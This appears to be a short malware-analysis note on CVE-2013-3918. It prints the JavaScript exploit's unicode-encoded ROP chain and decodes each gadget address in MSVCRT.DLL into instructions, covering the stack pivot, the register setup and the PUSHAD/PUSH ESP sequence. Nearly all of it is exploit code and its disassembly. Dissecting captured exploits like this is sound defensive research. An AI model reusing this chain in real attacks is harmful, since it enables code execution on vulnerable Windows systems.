CVE-2013-3918

CVE-2013-3918
http://jsunpack.jeek.org/?report=0fe86b1a6fc27dbd4134d96e68b9153682cc6831

First part: ROP CHAIN:


function ddddd()
{
var kkkkk = "\u0433\u77c2\u5ed5\u77c1\u40fa\u77c2\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\ubdf4\u77c1\ubdf4\u77c1\u3436\u77c5\u9f92\u77c3\ucbf9\u77c4\u9f92\u77c3\ub1ad\u77c3\ubdf4\u77c1\u7ae8\u77c4\u9f92\u77c3\u80c1\u77c3\u9f92\u77c3\u67f0\u77c5\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\u9f92\u77c3\ubdf4\u77c1\ubdf4\u77c1\u3436\u77c5\u406e\u883f\u771c\u77c5\u9f07\u77c5\u5f07\u77c3\u5f07\u77c3\uded4\u77c4\ucf92\u77c0\u0c77\u77c5\ub1ad\u77c3\u05ac\u77c6\u7ae8\u77c4\u9f92\u77c3\u80c1\u77c3\uaacc\u77c2\uded4\u77c4\u1131\u77c1\u67f0\u77c5\u1025\u77c5";
}


MSVCRT.DLL v7.0.2600.5512

77c20433 POP EBP / RET
77c15ed5 XCHG EAX, ESP / RET
77c240fa RET 4
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c1bdf4 POP EBP / RET
77c1bdf4 POP EBP / RET
77c53436 POP EBX / RET
77c39f92 RET
77c4cbf9 POP EDX / RET
77c39f92 RET
77c3b1ad POP ECX / RET
77c1bdf4 POP EBP / RET
77c47ae8 POP EDI / RET
77c39f92 RET
77c380c1 POP ESI / RET
77c39f92 RET
77c567f0 PUSHAD / ADD al, 0xEF / RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c39f92 RET
77c1bdf4 POP EBP / RET
77c1bdf4 POP EBP / RET
77c53436 POP EBX / RET
883f406e
77c5771c XOR EDX, EDX / RET
77c59f07 ADD DL, BH / RET
77c35f07 RET
77c35f07 RET
77c4ded4 POP EAX / RET
77c0cf72
77c50c77 ADD EBX, EAX
77c3b1ad POP ECX / RET
77c605ac
77c47ae8 POP EDI / RET
77c39f92 RET
77c380c1 POP ESI / RET
77c2aacc JMP DWORD PTR [EAX]
77c4ded4 POP EAX / RET
77c11131 // 0x2F
77c567f0 PUSHAD / ADD al, 0xEF / RET
77c51025 PUSH ESP / RET